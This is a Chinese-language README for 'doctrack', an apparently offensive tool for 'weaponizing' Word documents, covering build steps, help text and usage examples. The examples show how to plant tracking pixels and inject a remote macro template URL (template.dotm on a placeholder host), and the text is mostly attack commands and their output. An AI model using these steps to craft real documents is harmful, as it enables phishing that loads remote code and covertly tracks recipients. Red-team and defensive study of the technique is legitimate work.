用于操作和武器化 Office Open XML 文档的工具。
你需要下载 .Net 6.0。然后,在 Windows 上构建单个二进制文件:
$ git clone https://github.com/wavvs/doctrack.git
$ cd doctrack/
$ dotnet publish -r win-x64 -c Release /p:PublishSingleFile=true
在 Linux 上:
$ dotnet publish -r linux-x64 -c Release /p:PublishSingleFile=true
$ doctrack --help
用于操作和武器化 Office Open XML 文档的工具。
-i, --input 输入文件名。如果不存在,则创建新文件。
-o, --output 输出文件名。如果未设置,文档将保存为 --input 文件。
-m, --metadata 提供的元数据(JSON 文件)。
-u, --url 要插入的 URL。
-e, --template (默认: false) 如果设置,则启用模板 URL 注入。
-s, --inspect (默认: false) 检查文档。
-c, --custom-part 插入自定义 XML 部件(XML 文件)
--help 显示此帮助屏幕。
创建一个 Word 文档并更改文档元数据:
$ doctrack -i test.docx -m metadata.json
插入跟踪像素并更改文档元数据:
$ doctrack -i test.docx -o test.docx --metadata metadata.json --url http://test.url/image.png
插入远程模板 URL(又称远程模板注入):
$ doctrack -i test.docx -o test.docx --url http://test.url/template.dotm --template
插入自定义 XML 部件:
$ doctrack -i test.docx -o test.docx -c part.xml
检查外部目标 URL、元数据和自定义 XML 部件:
$ doctrack -i test.docx --inspect
[外部目标]
Part: /word/document.xml, ID: R8783bc77406d476d, URI: http://test.url/image.png
Part: /word/settings.xml, ID: R33c36bdf400b44f6, URI: http://test.url/template.dotm
[元数据]
Creator: wavvs
Title: doctrack
Subject:
Category:
Keywords:
Description:
ContentType:
ContentStatus:
Version:
Revision:
Created: 13.10.2020 23:20:39
Modified: 13.10.2020 23:20:39
LastModifiedBy:
LastPrinted: 13.10.2020 23:20:39
Language:
Identifier:
[自定义 XML 部件]
Part: /customXML/item.xml (25 bytes)